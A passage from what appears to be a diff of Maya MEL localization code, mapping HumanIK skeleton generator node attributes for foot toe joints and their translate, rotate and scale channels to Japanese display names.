+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Ry", "左足追加指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Rz", "左足追加指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2S", "左足追加指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sx", "左足追加指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sy", "左足追加指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger2Sz", "左足追加指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3T", "左足追加指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Tx", "左足追加指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Ty", "左足追加指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Tz", "左足追加指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3R", "左足追加指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Rx", "左足追加指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Ry", "左足追加指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Rz", "左足追加指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3S", "左足追加指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sx", "左足追加指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sy", "左足追加指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger3Sz", "左足追加指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4T", "左足追加指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Tx", "左足追加指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Ty", "左足追加指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Tz", "左足追加指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4R", "左足追加指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Rx", "左足追加指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Ry", "左足追加指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Rz", "左足追加指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4S", "左足追加指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sx", "左足追加指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sy", "左足追加指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootExtraFinger4Sz", "左足追加指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1T", "右足親指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Tx", "右足親指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Ty", "右足親指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Tz", "右足親指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1R", "右足親指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Rx", "右足親指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Ry", "右足親指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Rz", "右足親指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1S", "右足親指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sx", "右足親指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sy", "右足親指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb1Sz", "右足親指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2T", "右足親指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Tx", "右足親指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Ty", "右足親指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Tz", "右足親指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2R", "右足親指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Rx", "右足親指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Ry", "右足親指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Rz", "右足親指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2S", "右足親指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sx", "右足親指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sy", "右足親指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb2Sz", "右足親指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3T", "右足親指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Tx", "右足親指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Ty", "右足親指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Tz", "右足親指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3R", "右足親指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Rx", "右足親指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Ry", "右足親指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Rz", "右足親指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3S", "右足親指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sx", "右足親指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sy", "右足親指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb3Sz", "右足親指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4T", "右足親指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Tx", "右足親指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Ty", "右足親指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Tz", "右足親指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4R", "右足親指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Rx", "右足親指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Ry", "右足親指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Rz", "右足親指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4S", "右足親指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sx", "右足親指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sy", "右足親指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootThumb4Sz", "右足親指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1T", "右足人差指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Tx", "右足人差指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Ty", "右足人差指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Tz", "右足人差指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1R", "右足人差指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Rx", "右足人差指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Ry", "右足人差指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Rz", "右足人差指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1S", "右足人差指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sx", "右足人差指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sy", "右足人差指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex1Sz", "右足人差指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2T", "右足人差指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Tx", "右足人差指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Ty", "右足人差指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Tz", "右足人差指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2R", "右足人差指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Rx", "右足人差指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Ry", "右足人差指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Rz", "右足人差指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2S", "右足人差指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sx", "右足人差指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sy", "右足人差指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex2Sz", "右足人差指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3T", "右足人差指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Tx", "右足人差指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Ty", "右足人差指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Tz", "右足人差指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3R", "右足人差指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Rx", "右足人差指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Ry", "右足人差指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Rz", "右足人差指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3S", "右足人差指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sx", "右足人差指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sy", "右足人差指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex3Sz", "右足人差指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4T", "右足人差指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Tx", "右足人差指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Ty", "右足人差指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Tz", "右足人差指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4R", "右足人差指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Rx", "右足人差指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Ry", "右足人差指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Rz", "右足人差指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4S", "右足人差指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sx", "右足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sy", "右足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootIndex4Sz", "右足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1T", "右足中指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Tx", "右足中指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Ty", "右足中指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Tz", "右足中指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1R", "右足中指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Rx", "右足中指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Ry", "右足中指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Rz", "右足中指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1S", "右足中指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sx", "右足中指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sy", "右足中指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle1Sz", "右足中指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2T", "右足中指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Tx", "右足中指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Ty", "右足中指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Tz", "右足中指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2R", "右足中指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Rx", "右足中指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Ry", "右足中指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Rz", "右足中指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2S", "右足中指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sx", "右足中指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sy", "右足中指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle2Sz", "右足中指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3T", "右足中指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Tx", "右足中指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Ty", "右足中指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Tz", "右足中指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3R", "右足中指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Rx", "右足中指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Ry", "右足中指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Rz", "右足中指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3S", "右足中指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sx", "右足中指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sy", "右足中指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle3Sz", "右足中指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4T", "右足中指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Tx", "右足中指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Ty", "右足中指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Tz", "右足中指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4R", "右足中指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Rx", "右足中指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Ry", "右足中指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Rz", "右足中指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4S", "右足中指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sx", "右足中指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sy", "右足中指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootMiddle4Sz", "右足中指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1T", "右足薬指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Tx", "右足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Ty", "右足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Tz", "右足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1R", "右足薬指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Rx", "右足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Ry", "右足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Rz", "右足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1S", "右足薬指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sx", "右足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sy", "右足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing1Sz", "右足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2T", "右足薬指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Tx", "右足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Ty", "右足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Tz", "右足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2R", "右足薬指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Rx", "右足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Ry", "右足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Rz", "右足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2S", "右足薬指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sx", "右足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sy", "右足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing2Sz", "右足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3T", "右足薬指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Tx", "右足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Ty", "右足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Tz", "右足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3R", "右足薬指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Rx", "右足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Ry", "右足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Rz", "右足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3S", "右足薬指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sx", "右足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sy", "右足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing3Sz", "右足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4T", "右足薬指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Tx", "右足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Ty", "右足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Tz", "右足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4R", "右足薬指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Rx", "右足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Ry", "右足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Rz", "右足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4S", "右足薬指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sx", "右足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sy", "右足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootRing4Sz", "右足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1T", "右足小指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Tx", "右足小指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Ty", "右足小指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Tz", "右足小指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1R", "右足小指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Rx", "右足小指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Ry", "右足小指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Rz", "右足小指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1S", "右足小指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sx", "右足小指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sy", "右足小指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky1Sz", "右足小指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2T", "右足小指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Tx", "右足小指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Ty", "右足小指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Tz", "右足小指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2R", "右足小指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Rx", "右足小指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Ry", "右足小指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Rz", "右足小指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2S", "右足小指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sx", "右足小指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sy", "右足小指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky2Sz", "右足小指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3T", "右足小指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Tx", "右足小指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Ty", "右足小指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Tz", "右足小指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3R", "右足小指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Rx", "右足小指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Ry", "右足小指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Rz", "右足小指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3S", "右足小指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sx", "右足小指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sy", "右足小指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky3Sz", "右足小指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4T", "右足小指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Tx", "右足小指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Ty", "右足小指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4Tz", "右足小指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightFootPinky4R", "右足小指 4 R" ); +setAttrNiceNameResource( 